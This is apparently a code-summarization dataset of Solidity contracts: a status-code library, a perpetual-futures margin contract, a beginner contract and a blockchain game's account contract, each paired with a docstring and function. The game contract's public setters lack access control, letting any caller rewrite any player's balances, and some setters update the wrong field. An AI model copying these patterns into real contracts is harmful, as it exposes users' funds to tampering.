RESERVEDxAB, RESERVEDxAC, RESERVEDxAD, RESERVEDxAE, ApplicationSpecificInformational, // 0xB* RESERVEDxB0, RESERVEDxB1, RESERVEDxB2, RESERVEDxB3, RESERVEDxB4, RESERVEDxB5, RESERVEDxB6, RESERVEDxB7, RESERVEDxB8, RESERVEDxB9, RESERVEDxBA, RESERVEDxBB, RESERVEDxBC, RESERVEDxBD, RESERVEDxBE, RESERVEDxBF, // 0xC* RESERVEDxC0, RESERVEDxC1, RESERVEDxC2, RESERVEDxC3, RESERVEDxC4, RESERVEDxC5, RESERVEDxC6, RESERVEDxC7, RESERVEDxC8, RESERVEDxC9, RESERVEDxCA, RESERVEDxCB, RESERVEDxCC, RESERVEDxCD, RESERVEDxCE, RESERVEDxCF, // 0xD* RESERVEDxD0, RESERVEDxD1, RESERVEDxD2, RESERVEDxD3, RESERVEDxD4, RESERVEDxD5, RESERVEDxD6, RESERVEDxD7, RESERVEDxD8, RESERVEDxD9, RESERVEDxDA, RESERVEDxDB, RESERVEDxDC, RESERVEDxDD, RESERVEDxDE, RESERVEDxDF, // 0xE* DecryptFailure, DecryptSuccess, AwaitingOtherSignaturesOrKeys, Signed, Unsigned_Untrusted, SignatureRequired, KnownToBeCompromised, RESERVEDxE7, AlreadySigned_NotEncrypted, RESERVEDxE9, RESERVEDxEA, RESERVEDxEB, RESERVEDxEC, RESERVEDxED, RESERVEDxEE, Cryptography_ID_ProofMetadata, // 0xF* OffChainFailure, OffChainSuccess, AwatingOffChainProcess, OffChainProcessStarted, OffChainServiceUnreachable, OffChainActionRequired, OffChainExpiry_LimitReached, RESERVEDxF7, DuplicateOffChainRequest, RESERVEDxF9, RESERVEDxFA, RESERVEDxFB, RESERVEDxFC, RESERVEDxFD, RESERVEDxFE, OffChainInformation } ////////////////////////////// Construction //////////////////////////////// /** * @dev Coerce a status enum into a standard status byte * * @param statusEnum Status enum tag * @return status Binary ERC-1066 status code */ function code(Status statusEnum) public pure returns (byte status) { return byte(uint8(statusEnum)); } /** * @dev Construct a status code from a category and reason. * * @param category Category nibble * @param reason Reason nibble * @return status Binary ERC-1066 status code */ function code(byte category, byte reason) public pure returns (byte status) { return (category << 4) | (byte(0x0F) & reason); } /** * @dev Construct a status code from a category and reason. * * @param category The category * @param reason The reason * @return status Binary ERC-1066 status code */ function code(uint8 category, uint8 reason) public pure returns (byte status) { return byte(uint8((category << 4) + reason)); } /** * @dev Construct a status code from category and reason enums * * @param category Category nibble * @param reason Reason nibble * @return status Binary ERC-1066 status code */ function code(Category category, Reason reason) public pure returns (byte status) { return code(uint8(category), uint8(reason)); } /** * @dev Construct an application-specific status code * * @param appReason Application-specific reason nibble * @return status Binary ERC-1066 status code */ function appCode(byte appReason) public pure returns (byte status) { return (byte(0xA0) | appReason); } /** * @dev Construct an application-specific status code * * @param appReason Application-specific reason * @return status Binary ERC-1066 status code */ function appCode(uint8 appReason) public pure returns (byte status) { return byte(160 + appReason); } /** * @dev Construct an application-specific status code * * @param appReason Application-specific reason enum * @return status Binary ERC-1066 status code */ function appCode(Reason appReason) public pure returns (byte status) { return appCode(uint8(appReason)); } /////////////////////////////// Get Nibbles //////////////////////////////// /** * @dev Extract the category from a status code * * @param status Binary ERC-1066 status code * @return category Category nibble */ function categoryOf(byte status) public pure returns (byte category) { return status >> 4; } /** * @dev Extract the category from a status code enum * * @param status Status enum * @return category Category nibble */ function categoryOf(Status status) public pure returns (byte category) { return categoryOf(byte(uint8(status))); } /** * @dev Extract the reason from a status code * * @param status Binary ERC-1066 status code * @return reason Reason nibble */ function reasonOf(byte status) public pure returns (byte reason) { return status & 0x0F; } /** * @dev Extract the reason from a status code enum * * @param status Status enum * @return reason Reason nibble */ function reasonOf(Status status) public pure returns (byte reason) { return reasonOf(byte(uint8(status))); } /** * @dev Decompose a status code into its category and reason nibbles * * @param status Binary ERC-1066 status code * @return { * "category": "Category nibble", * "reason": "Reason nibble" * } */ function split(byte status) public returns (byte category, byte reason) { return (categoryOf(status), reasonOf(status)); } ////////////////////////////// Localization //////////////////////////////// /** * @dev Lookup an ERC-1444 localization for a particular status code * * @param status Binary ERC-1066 status code * @param prefs The localization registry / proxy contract * @return { * "found": "If the loicalization string was found (`false` if a fallback was used)", * "message": "The localization string" * } */ function localizeBy(byte status, LocalizationPreferences prefs) view public returns (bool found, string memory message) { return prefs.textFor(status); } ////////////////////////// Check Common Statuses /////////////////////////// /** * @dev Check if a status code is non-blocking (ie: an odd number) * * @param status Binary ERC-1066 status code * @return okay A boolean representing if the status code * is okay / nonblocking */ function isOk(byte status) public pure returns (bool okay) { return (uint8(status) % 2) == 1; } /** * @dev Check if a status code is blocking (ie: an even number) * * @param status Binary ERC-1066 status code * @return blocking A boolean representing if the status code is blocking */ function isBlocking(byte status) public pure returns (bool blocking) { return !isOk(status); } /** * @dev Check if a status code represents success (ie: 0x*1) * * @param status Binary ERC-1066 status code * @return successful A boolean representing if the status code * represents success */ function isSuccess(byte status) public pure returns (bool successful) { return reasonOf(status) == 0x01; } /** * @dev Check if a status code represents failure (ie: 0x*0) * * @param status Binary ERC-1066 status code * @return failure A boolean representing if the status code * represents failure */ function isFailure(byte status) public pure returns (bool failure) { return reasonOf(status) == 0x00; } /** * @dev Check if a status code belongs to a particular category * * @param status Binary ERC-1066 status code * @param category Category nibble * @return belongs A boolean representing if the status code belongs to * the target category */ function isCategory(byte status, byte category) public pure returns (bool belongs) { return categoryOf(status) == category; } /** * @dev Check if a status code belongs to a particular category * * @param status Binary ERC-1066 status code * @param category Category enum * @return belongs A boolean representing if the status code belongs to * the target category */ function isCategory(byte status, Category category) public pure returns (bool belongs) { return categoryOf(status) == byte(uint8(category)); } /** * @dev Check if a Status enum belongs to a particular category * * @param status Status enum * @param category Category enum * @return belongs A boolean representing if the status enum belongs to * the target category */ function isCategory(Status status, Category category) public pure returns (bool belongs) { return categoryOf(status) == byte(uint8(category)); } /** * @dev Check if a status code has a particular reason * * @param status Binary ERC-1066 status code * @param reason Reason nibble * @return belongs A boolean representing if the status code has * the target reason */ function isReason(byte status, byte reason) public pure returns (bool belongs) { return reasonOf(status) == reason; } /** * @dev Check if a status code belongs to a particular category * * @param status Binary ERC-1066 status code * @param reason Reason enum * @return belongs A boolean representing if the status code has * the target reason */ function isReason(byte status, Reason reason) public pure returns (bool belongs) { return reasonOf(status) == byte(uint8(reason)); } /** * @dev Check if a Status enum has a particular reason * * @param status Status enum * @param reason Reason enum * @return belongs A boolean representing if the status code has * the target reason */ function isReason(Status status, Reason reason) public pure returns (bool belongs) { return reasonOf(status) == byte(uint8(reason)); } ///////////////////////////////// Requires ///////////////////////////////// /** * @dev Require that a status code be nonblocking, otherwise `revert` * * @param status Binary ERC-1066 status code */ function requireOk(byte status) public pure { require(isOk(status), "Blocking status code"); // TODO: use translation singleton } /** * @dev Require that a status code be nonblocking, * otherwise `revert` with message * * @param status Binary ERC-1066 status code * @param message Revert message */ function requireOk(byte status, string memory message) public pure { require(isOk(status), message); } /** * @dev Require that a status code be nonblocking, * otherwise `revert` with an ERC-1444 automatically localized message * * @param status Binary ERC-1066 status code * @param prefs Localization preference registry */ function requireOk(byte status, LocalizationPreferences prefs) public view { (bool _, string memory message) = localizeBy(status, prefs); requireOk(status, message); } /** * @dev Require that a status code represent success, otherwise `revert` * * @param status Binary ERC-1066 status code */ function requireSuccess(byte status) public pure { require(isSuccess(status), "Unsuccessful status code reason"); } /** * @dev Require that a status code represent success, * otherwise `revert` with message * * @param status Binary ERC-1066 status code * @param message Revert message */ function requireSuccess(byte status, string memory message) public pure { require(isSuccess(status), message); } /** * @dev Require that a status code represent success, * otherwise `revert` with an ERC-1444 automatically localized message * * @param status Binary ERC-1066 status code * @param prefs Localization preference registry */ function requireSuccess(byte status, LocalizationPreferences prefs) public view { (bool _, string memory message) = localizeBy(status, prefs); requireSuccess(status, message); } /** * @dev Require that a status code belongs to a particular category, * otherwise `revert` * * @param status Binary ERC-1066 status code * @param category Required category nibble */ function requireCategory(byte status, byte category) public view { require(isCategory(status, category)); } /** * @dev Require that a status code belongs to a particular category, * otherwise `revert` with message * * @param status Binary ERC-1066 status code * @param category Required category nibble * @param message Revert message */ function requireCategory(byte status, byte category, string memory message) public view { require(isCategory(status, category), message); } /** * @dev Require that a status code belongs to a particular category, * otherwise `revert` with an ERC-1444 automatically localized message * * @param status Binary ERC-1066 status code * @param category Required category nibble * @param prefs Localization preference registry */ function requireCategory( byte status, byte category, LocalizationPreferences prefs ) public view { (bool _, string memory message) = localizeBy(status, prefs); requireCategory(status, category, message); } /** * @dev Require that a status code has a particular reason, * otherwise `revert` * * @param status Binary ERC-1066 status code * @param reason Required reason nibble */ function requireReason(byte status, byte reason) public view { require(isReason(status, reason)); } /** * @dev Require that a status code has a particular reason, * otherwise `revert` with message * * @param status Binary ERC-1066 status code * @param reason Required reason nibble * @param message Revert message */ function requireReason(byte status, byte reason, string memory message) public view { require(isReason(status, reason), message); } /** * @dev Require that a status code has a particular reason, * otherwise `revert` with an ERC-1444 automatically localized message * * @param status Binary ERC-1066 status code * @param reason Required reason nibble * @param prefs Localization preference registry */ function requireReason( byte status, byte reason, LocalizationPreferences prefs ) public view { (bool _, string memory message) = localizeBy(status, prefs); requireReason(status, reason, message); } }
Require that a status code has a particular reason, otherwise `revert` status Binary ERC-1066 status code reason Required reason nibble/
function requireReason(byte status, byte reason) public view { require(isReason(status, reason)); }
1,769,184
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../lib/LibOrder.sol"; import "../lib/LibTypes.sol"; import "../lib/LibMath.sol"; import "./MarginAccount.sol"; contract Perpetual is MarginAccount, ReentrancyGuard { using LibMathSigned for int256; using LibMathUnsigned for uint256; using LibOrder for LibTypes.Side; uint256 public totalAccounts; address[] public accountList; mapping(address => bool) private accountCreated; event CreatePerpetual(); event Paused(address indexed caller); event Unpaused(address indexed caller); event DisableWithdraw(address indexed caller); event EnableWithdraw(address indexed caller); event CreateAccount(uint256 indexed id, address indexed trader); event Trade(address indexed trader, LibTypes.Side side, uint256 price, uint256 amount); event Liquidate(address indexed keeper, address indexed trader, uint256 price, uint256 amount); event EnterEmergencyStatus(uint256 price); event EnterSettledStatus(uint256 price); constructor( address _globalConfig, address _devAddress, address _collateral, uint256 _collateralDecimals ) MarginAccount(_globalConfig, _collateral, _collateralDecimals) { devAddress = _devAddress; emit CreatePerpetual(); } // disable fallback fallback() external payable { revert("fallback function disabled"); } /** * @dev Called by a pauseControllers, put whole system into paused state. */ function pause() external { require( globalConfig.pauseControllers(msg.sender) || globalConfig.owner() == msg.sender, "unauthorized caller" ); require(!paused, "already paused"); paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauseControllers, put whole system back to normal. */ function unpause() external { require( globalConfig.pauseControllers(msg.sender) || globalConfig.owner() == msg.sender, "unauthorized caller" ); require(paused, "not paused"); paused = false; emit Unpaused(msg.sender); } /** * @dev Called by a withdrawControllers disable withdraw function. */ function disableWithdraw() external { require( globalConfig.withdrawControllers(msg.sender) || globalConfig.owner() == msg.sender, "unauthorized caller" ); require(!withdrawDisabled, "already disabled"); withdrawDisabled = true; emit DisableWithdraw(msg.sender); } /** * @dev Called by a withdrawControllers, enable withdraw function again. */ function enableWithdraw() external { require( globalConfig.withdrawControllers(msg.sender) || globalConfig.owner() == msg.sender, "unauthorized caller" ); require(withdrawDisabled, "not disabled"); withdrawDisabled = false; emit EnableWithdraw(msg.sender); } /** * @notice Force to set cash balance of margin account. Called by administrator to * fix unexpected cash balance. * * @param trader Address of account owner. * @param amount Absolute cash balance value to be set. */ function increaseCashBalance(address trader, uint256 amount) external onlyOwner { require(status == LibTypes.Status.EMERGENCY, "wrong perpetual status"); updateCashBalance(trader, amount.toInt256()); } /** * @notice Force to set cash balance of margin account. Called by administrator to * fix unexpected cash balance. * * @param trader Address of account owner. * @param amount Absolute cash balance value to be set. */ function decreaseCashBalance(address trader, uint256 amount) external onlyOwner { require(status == LibTypes.Status.EMERGENCY, "wrong perpetual status"); updateCashBalance(trader, amount.toInt256().neg()); } /** * @notice Set perpetual status to 'emergency'. It can be called multiple times to set price. * In emergency mode, main function like trading / withdrawing is disabled to prevent unexpected loss. * * @param price Price used as mark price in emergency mode. */ function beginGlobalSettlement(uint256 price) external onlyOwner { require(status != LibTypes.Status.SETTLED, "wrong perpetual status"); status = LibTypes.Status.EMERGENCY; settlementPrice = price; emit EnterEmergencyStatus(price); } /** * @notice Set perpetual status to 'settled'. It can be call only once in 'emergency' mode. * In settled mode, user is expected to closed positions and withdraw all the collateral. */ function endGlobalSettlement() external onlyOwner { require(status == LibTypes.Status.EMERGENCY, "wrong perpetual status"); status = LibTypes.Status.SETTLED; emit EnterSettledStatus(settlementPrice); } /** * @notice Deposit collateral to insurance fund to recover social loss. Note that depositing to * insurance fund *DOES NOT* profit to depositor and only administrator can withdraw from the fund. * * @param rawAmount Amount to deposit. */ function depositToInsuranceFund(uint256 rawAmount) external payable nonReentrant { checkDepositingParameter(rawAmount); require(rawAmount > 0, "amount must be greater than 0"); int256 wadAmount = pullCollateral(msg.sender, rawAmount); insuranceFundBalance = insuranceFundBalance.add(wadAmount); require(insuranceFundBalance >= 0, "negtive insurance fund"); emit UpdateInsuranceFund(insuranceFundBalance); } /** * @notice Withdraw collateral from insurance fund. Only administrator can withdraw from it. * * @param rawAmount Amount to withdraw. */ function withdrawFromInsuranceFund(uint256 rawAmount) external onlyOwner nonReentrant { require(rawAmount > 0, "amount must be greater than 0"); require(insuranceFundBalance > 0, "insufficient funds"); int256 wadAmount = toWad(rawAmount); require(wadAmount <= insuranceFundBalance, "insufficient funds"); insuranceFundBalance = insuranceFundBalance.sub(wadAmount); pushCollateral(msg.sender, rawAmount); require(insuranceFundBalance >= 0, "negtive insurance fund"); emit UpdateInsuranceFund(insuranceFundBalance); } // End Admin functions // Deposit && Withdraw /** * @notice Deposit collateral to sender's margin account. * When depositing ether rawAmount must strictly equal to * * @dev Need approval * * @param rawAmount Amount to deposit. */ function deposit(uint256 rawAmount) external payable { depositImplementation(msg.sender, rawAmount); } /** * @notice Withdraw collateral from sender's margin account. only available in normal state. * * @param rawAmount Amount to withdraw. */ function withdraw(uint256 rawAmount) external { withdrawImplementation(msg.sender, rawAmount); } /** * @notice Close all position and withdraw all collateral remaining in sender's margin account. * Settle is only available in settled state and can be called multiple times. */ function settle() external nonReentrant { address payable trader = msg.sender; settleImplementation(trader); int256 wadAmount = marginAccounts[trader].cashBalance; if (wadAmount <= 0) { return; } uint256 rawAmount = toCollateral(wadAmount); Collateral.withdraw(trader, rawAmount); } // Deposit && Withdraw - Whitelisted Only /** * @notice Deposit collateral for trader into the trader's margin account. The collateral will be transfer * from the trader's ethereum address. * depositFor is only available to administrator. * * @dev Need approval * * @param trader Address of margin account to deposit into. * @param rawAmount Amount of collateral to deposit. */ function depositFor(address trader, uint256 rawAmount) external payable onlyAuthorized { depositImplementation(trader, rawAmount); } /** * @notice Withdraw collateral for trader from the trader's margin account. The collateral will be transfer * to the trader's ethereum address. * withdrawFor is only available to administrator. * * @param trader Address of margin account to deposit into. * @param rawAmount Amount of collateral to deposit. */ function withdrawFor(address payable trader, uint256 rawAmount) external onlyAuthorized { withdrawImplementation(trader, rawAmount); } // Method for public properties /** * @notice Price to calculate all price-depended properties of margin account. * * @dev decimals == 18 * * @return Mark price. */ function markPrice() public returns (uint256) { return status == LibTypes.Status.NORMAL ? fundingModule.currentMarkPrice() : settlementPrice; } /** * @notice (initial) Margin value of margin account according to mark price. * See marginWithPrice in MarginAccount.sol. * * @param trader Address of account owner. * @return Initial margin of margin account. */ function positionMargin(address trader) public returns (uint256) { return MarginAccount.marginWithPrice(trader, markPrice()); } /** * @notice (maintenance) Margin value of margin account according to mark price. * See maintenanceMarginWithPrice in MarginAccount.sol. * * @param trader Address of account owner. * @return Maintanence margin of margin account. */ function maintenanceMargin(address trader) public returns (uint256) { return MarginAccount.maintenanceMarginWithPrice(trader, markPrice()); } /** * @notice Margin balance of margin account according to mark price. * See marginBalanceWithPrice in MarginAccount.sol. * * @param trader Address of account owner. * @return Margin balance of margin account. */ function marginBalance(address trader) public returns (int256) { return MarginAccount.marginBalanceWithPrice(trader, markPrice()); } /** * @notice Profit and loss of margin account according to mark price. * See pnlWithPrice in MarginAccount.sol. * * @param trader Address of account owner. * @return Margin balance of margin account. */ function pnl(address trader) public returns (int256) { return MarginAccount.pnlWithPrice(trader, markPrice()); } /** * @notice Available margin of margin account according to mark price. * See marginBalanceWithPrice in MarginAccount.sol. * * @param trader Address of account owner. * @return Margin balance of margin account. */ function availableMargin(address trader) public returns (int256) { return MarginAccount.availableMarginWithPrice(trader, markPrice()); } /** * @notice Test if a margin account is safe, using maintenance margin rate. * A unsafe margin account will loss position through liqudating initiated by any other trader, to make the whole system safe. * * @param trader Address of account owner. * @return True if give trader is safe. */ function isSafe(address trader) public returns (bool) { uint256 currentMarkPrice = markPrice(); return isSafeWithPrice(trader, currentMarkPrice); } /** * @notice Test if a margin account is safe, using maintenance margin rate according to given price. * * @param trader Address of account owner. * @param currentMarkPrice Mark price. * @return True if give trader is safe. */ function isSafeWithPrice(address trader, uint256 currentMarkPrice) public returns (bool) { return MarginAccount.marginBalanceWithPrice(trader, currentMarkPrice) >= MarginAccount.maintenanceMarginWithPrice(trader, currentMarkPrice).toInt256(); } /** * @notice Test if a margin account is bankrupt. Bankrupt is a status indicates the margin account * is completely out of collateral. * * @param trader Address of account owner. * @return True if give trader is safe. */ function isBankrupt(address trader) public returns (bool) { return marginBalanceWithPrice(trader, markPrice()) < 0; } /** * @notice Test if a margin account is safe, using initial margin rate instead of maintenance margin rate. * * @param trader Address of account owner. * @return True if give trader is safe with initial margin rate. */ function isIMSafe(address trader) public returns (bool) { uint256 currentMarkPrice = markPrice(); return isIMSafeWithPrice(trader, currentMarkPrice); } /** * @notice Test if a margin account is safe according to given mark price. * * @param trader Address of account owner. * @param currentMarkPrice Mark price. * @return True if give trader is safe with initial margin rate. */ function isIMSafeWithPrice(address trader, uint256 currentMarkPrice) public returns (bool) { return availableMarginWithPrice(trader, currentMarkPrice) >= 0; } /** * @notice Test if a margin account is safe according to given mark price. * * @param trader Address of account owner. * @param maxAmount Mark price. * @return True if give trader is safe with initial margin rate. */ function liquidate( address trader, uint256 maxAmount ) public onlyNotPaused returns (uint256, uint256) { require(msg.sender != trader, "self liquidate"); require(isValidLotSize(maxAmount), "amount must be divisible by lotSize"); require(status != LibTypes.Status.SETTLED, "wrong perpetual status"); require(!isSafe(trader), "safe account"); uint256 liquidationPrice = markPrice(); require(liquidationPrice > 0, "price must be greater than 0"); uint256 liquidationAmount = calculateLiquidateAmount(trader, liquidationPrice); uint256 totalPositionSize = marginAccounts[trader].size; uint256 liquidatableAmount = totalPositionSize.sub(totalPositionSize.mod(governance.lotSize)); liquidationAmount = liquidationAmount.ceil(governance.lotSize).min(maxAmount).min(liquidatableAmount); require(liquidationAmount > 0, "nothing to liquidate"); uint256 opened = MarginAccount.liquidate(msg.sender, trader, liquidationPrice, liquidationAmount); if (opened > 0) { require(availableMarginWithPrice(msg.sender, liquidationPrice) >= 0, "liquidator margin"); } else { require(isSafe(msg.sender), "liquidator unsafe"); } emit Liquidate(msg.sender, trader, liquidationPrice, liquidationAmount); return (liquidationPrice, liquidationAmount); } function tradePosition( address taker, address maker, LibTypes.Side side, uint256 price, uint256 amount ) public onlyNotPaused onlyAuthorized returns (uint256 takerOpened, uint256 makerOpened) { require(status != LibTypes.Status.EMERGENCY, "wrong perpetual status"); require(side == LibTypes.Side.LONG || side == LibTypes.Side.SHORT, "side must be long or short"); require(isValidLotSize(amount), "amount must be divisible by lotSize"); takerOpened = MarginAccount.trade(taker, side, price, amount); makerOpened = MarginAccount.trade(maker, LibTypes.counterSide(side), price, amount); require(totalSize(LibTypes.Side.LONG) == totalSize(LibTypes.Side.SHORT), "imbalanced total size"); emit Trade(taker, side, price, amount); emit Trade(maker, LibTypes.counterSide(side), price, amount); } function transferCashBalance( address from, address to, uint256 amount ) public onlyNotPaused onlyAuthorized { require(status != LibTypes.Status.EMERGENCY, "wrong perpetual status"); MarginAccount.transferBalance(from, to, amount.toInt256()); } function registerNewTrader(address trader) internal { emit CreateAccount(totalAccounts, trader); accountList.push(trader); totalAccounts++; accountCreated[trader] = true; } /** * @notice Check type of collateral. If ether, rawAmount must strictly match msg.value. * * @param rawAmount Amount to deposit */ function checkDepositingParameter(uint256 rawAmount) internal view { bool isToken = isTokenizedCollateral(); require((isToken && msg.value == 0) || (!isToken && msg.value == rawAmount), "incorrect sent value"); } /** * @notice Implementation as underlaying of deposit and depositFor. * * @param trader Address the collateral will be transferred from. * @param rawAmount Amount to deposit. */ function depositImplementation(address trader, uint256 rawAmount) internal onlyNotPaused nonReentrant { checkDepositingParameter(rawAmount); require(rawAmount > 0, "amount must be greater than 0"); require(trader != address(0), "cannot deposit to 0 address"); Collateral.deposit(trader, rawAmount); // append to the account list. make the account trackable if (!accountCreated[trader]) { registerNewTrader(trader); } } /** * @notice Implementation as underlaying of withdraw and withdrawFor. * * @param trader Address the collateral will be transferred to. * @param rawAmount Amount to withdraw. */ function withdrawImplementation(address payable trader, uint256 rawAmount) internal onlyNotPaused nonReentrant { require(!withdrawDisabled, "withdraw disabled"); require(status == LibTypes.Status.NORMAL, "wrong perpetual status"); require(rawAmount > 0, "amount must be greater than 0"); require(trader != address(0), "cannot withdraw to 0 address"); uint256 currentMarkPrice = markPrice(); require(isSafeWithPrice(trader, currentMarkPrice), "unsafe before withdraw"); remargin(trader, currentMarkPrice); Collateral.withdraw(trader, rawAmount); require(isSafeWithPrice(trader, currentMarkPrice), "unsafe after withdraw"); require(availableMarginWithPrice(trader, currentMarkPrice) >= 0, "withdraw margin"); } /** * @notice Implementation as underlaying of settle. * * @param trader Address the collateral will be transferred to. */ function settleImplementation(address trader) internal onlyNotPaused { require(status == LibTypes.Status.SETTLED, "wrong perpetual status"); uint256 currentMarkPrice = markPrice(); LibTypes.MarginAccount memory account = marginAccounts[trader]; if (account.size == 0) { return; } LibTypes.Side originalSide = account.side; close(account, currentMarkPrice, account.size); marginAccounts[trader] = account; emit UpdatePositionAccount(trader, account, totalSize(originalSide), currentMarkPrice); } function setFairPrice(uint256 price) public onlyAuthorized { fundingModule.setFairPrice(price); } }
Deposit collateral to insurance fund to recover social loss. Note that depositing to insurance fund DOES NOT profit to depositor and only administrator can withdraw from the fund. rawAmount Amount to deposit./
function depositToInsuranceFund(uint256 rawAmount) external payable nonReentrant { checkDepositingParameter(rawAmount); require(rawAmount > 0, "amount must be greater than 0"); int256 wadAmount = pullCollateral(msg.sender, rawAmount); insuranceFundBalance = insuranceFundBalance.add(wadAmount); require(insuranceFundBalance >= 0, "negtive insurance fund"); emit UpdateInsuranceFund(insuranceFundBalance); }
5,536,043
pragma solidity ^0.4.0; /** * Mon premier Smart Contract * @dev Charles Azanlekor <[email protected]> * 2018.01.20 * V 1.0 */ contract FirstContract { //Variable qui stocke la valeur de l'Ether reçue uint public solde; /** * @dev Fallback function qui permet de recevoir les Ethers * <msg.value> permet de retrouver la valeur d'Ether reçue * C'est cette fonction qui est appelée lorsque l'utilisateur envoie des Ethers aux * Smart Contract sans appeler aucune fonction */ function () public payable { setEther(msg.value); } /** * Méthode permattant d'affecter une valeur à la variable <solde> * Nous pouvons ainsi affecter la valeur de l'Ether reçue à la variable <solde> */ function setEther (uint valeur) public payable { solde = valeur; } /** * Méthode permettant de retrouver la valeur de la variable <solde> * Nous pouvons ainsi retrouver la valeur stockée dans la variable <solde> */ function getEther() public constant returns (uint) { return solde; } /** * Méthode permettant de retrouver la balance ou le solde d'Ether du Smart Contract */ function getTotal() public constant returns (uint) { return this.balance; } }
Méthode permettant de retrouver la balance ou le solde d'Ether du Smart Contract/
function getTotal() public constant returns (uint) { return this.balance; }
902,844
pragma solidity >=0.4.21 <0.7.0; import "./SafeMath.sol"; contract Account { using SafeMath for uint; mapping (address => uint) public stoneOwnerCount; mapping (address => uint) public ironOwnerCount; mapping (address => uint) public foodOwnerCount; mapping (address => uint) public coinOwnerCount; mapping (address => uint) public woodOwnerCount; mapping (address => uint) public power; mapping (address => uint) public health; mapping (address => uint) public spyPower; mapping (address => uint) public cannonPower; mapping (address => uint) public soldierPower; mapping (address => uint) public protectorPower; mapping (address => uint) public wallPower; uint public kingdomAmount; mapping (uint => address) public castleToOwner; mapping (address => uint) public ownerCastleCount; mapping (address => bool) public ownerIsAttacked; mapping (address => address) public ownerAttackerAddress; mapping (address => uint) public ownerAttackStartTime; mapping (address => uint) public ownerAttackTotalTime; uint IdDigits = 16; uint IdModulus = 10 ** IdDigits; function setAttackedInfo(address _attacked, bool _isAttack, address _attacker, uint _attackstarttime, uint _attacktotaltime) public { ownerIsAttacked[_attacked] = _isAttack; ownerAttackerAddress[_attacked] = _attacker; ownerAttackStartTime[_attacked] = _attackstarttime; ownerAttackTotalTime[_attacked] = _attacktotaltime; } function getMarchTime(address _owner) public view returns(uint, uint, uint) { return ( ownerAttackStartTime[_owner], uint(now) - ownerAttackStartTime[_owner], ownerAttackTotalTime[_owner] ) ; } function getAttackerInfo(address _owner) public view returns(bool,address) { return (ownerIsAttacked[_owner], ownerAttackerAddress[_owner]); } // // return 0 if success else return remaining time function updateMarch(address _owner) public returns(uint) { if (ownerAttackStartTime[_owner] == 0) return 0; if (uint(now) >= ownerAttackStartTime[_owner].add(ownerAttackTotalTime[_owner])) { // uint num; // num = ownerTotalMarchTime[_owner].div( MarchInstance.levelOfMarch(_owner).mul(MarchInstance.createMarchTime()) ); // MarchInstance.setNumOfMarch(_owner, MarchInstance.numOfMarch(_owner) + (num)); ownerIsAttacked[_owner] = false; ownerAttackerAddress[_owner] = _owner; ownerAttackStartTime[_owner] = 0; ownerAttackTotalTime[_owner] = 0; return 0; } else { uint remainingTime = (ownerAttackStartTime[_owner] + ownerAttackTotalTime[_owner]).sub(uint(now)); return remainingTime; } } function checkUserAddress() public view returns(bool) { if(ownerCastleCount[msg.sender] > 0) return true; return false; } function getStoneOwnerCount(address _owner) public view returns(uint) { return stoneOwnerCount[_owner]; } function setStoneOwnerCount(address _owner, uint value) public { stoneOwnerCount[_owner] = value; } function getIronOwnerCount(address _owner) public view returns(uint) { return ironOwnerCount[_owner]; } function setIronOwnerCount(address _owner, uint value) public { ironOwnerCount[_owner] = value; } function getFoodOwnerCount(address _owner) public view returns(uint) { return foodOwnerCount[_owner]; } function setFoodOwnerCount(address _owner, uint value) public { foodOwnerCount[_owner] = value; } function getCoinOwnerCount(address _owner) public view returns(uint) { return coinOwnerCount[_owner]; } function setCoinOwnerCount(address _owner, uint value) public { coinOwnerCount[_owner] = value; } function getWoodOwnerCount(address _owner) public view returns(uint) { return woodOwnerCount[_owner]; } function setWoodOwnerCount(address _owner, uint value) public { woodOwnerCount[_owner] = value; } function getMyIdx() public view returns(uint) { for (uint i=0; i<kingdomAmount; ++i) { if(castleToOwner[i] == msg.sender) { return i; } } return kingdomAmount; } function getUserPowerById(uint idx) public returns(uint) { if(idx < kingdomAmount) { address addr = castleToOwner[idx]; power[addr] = soldierPower[addr] + wallPower[addr] + protectorPower[addr] + cannonPower[addr]; return power[addr]; } return 0; } function getUserPower(address idx) public returns(uint) { power[idx] = soldierPower[idx] + wallPower[idx] + protectorPower[idx] + cannonPower[idx]; return power[idx]; } function setUserPower(address idx, uint value) public { power[idx] = value; } function setUserSoldierPower(address idx, uint value) public { power[idx] = value; } function setUserProtectorPower(address idx, uint value) public { power[idx] = value; } function setUserCannonPower(address idx, uint value) public { power[idx] = value; } function setUserWallPower(address idx, uint value) public { power[idx] = value; } function getUserHealth(address idx) public view returns(uint) { return health[idx]; } function setUserHealth(address idx, uint value) public { health[idx] = value; } function getUserSpyPower(address idx) public view returns(uint) { return spyPower[idx]; } function setUserSpyPower(address idx, uint value) public { spyPower[idx] = value; } function getKingdomAmount() public view returns(uint) { return kingdomAmount; } function convertCastleToOwner(uint id) public view returns(address) { return castleToOwner[id]; } // for web to create castle function initializeKingdom(address _owner) public { require(ownerCastleCount[_owner] == 0); castleToOwner[kingdomAmount] = _owner; kingdomAmount++; ownerCastleCount[_owner]++; foodOwnerCount[_owner] = 10000; woodOwnerCount[_owner] = 10000; stoneOwnerCount[_owner] = 10000; ironOwnerCount[_owner] = 10000; coinOwnerCount[_owner] = 10000; power[_owner] = 0; health[_owner] = 0; spyPower[_owner] = 0; ownerIsAttacked[_owner] = false; ownerAttackStartTime[_owner] = 0; ownerAttackTotalTime[_owner] = 0; } function cost(address _owner, uint food, uint wood, uint iron, uint stone, uint coin) public returns (bool){ if(foodOwnerCount[_owner]>=food && woodOwnerCount[_owner]>=wood && ironOwnerCount[_owner]>=iron && stoneOwnerCount[_owner]>=stone && coinOwnerCount[_owner]>=coin){ foodOwnerCount[_owner] = foodOwnerCount[_owner].sub(food); woodOwnerCount[_owner] = woodOwnerCount[_owner].sub(wood); ironOwnerCount[_owner] = ironOwnerCount[_owner].sub(iron); stoneOwnerCount[_owner] = stoneOwnerCount[_owner].sub(stone); coinOwnerCount[_owner] = coinOwnerCount[_owner].sub(coin); return true; } return false; } function getFoodAmount() public view returns(uint) { return foodOwnerCount[msg.sender]; } function getIronAmount() public view returns(uint) { return ironOwnerCount[msg.sender]; } function getStoneAmount() public view returns(uint) { return stoneOwnerCount[msg.sender]; } function getCoinAmount() public view returns(uint) { return coinOwnerCount[msg.sender]; } function getWoodAmount() public view returns(uint) { return woodOwnerCount[msg.sender]; } }
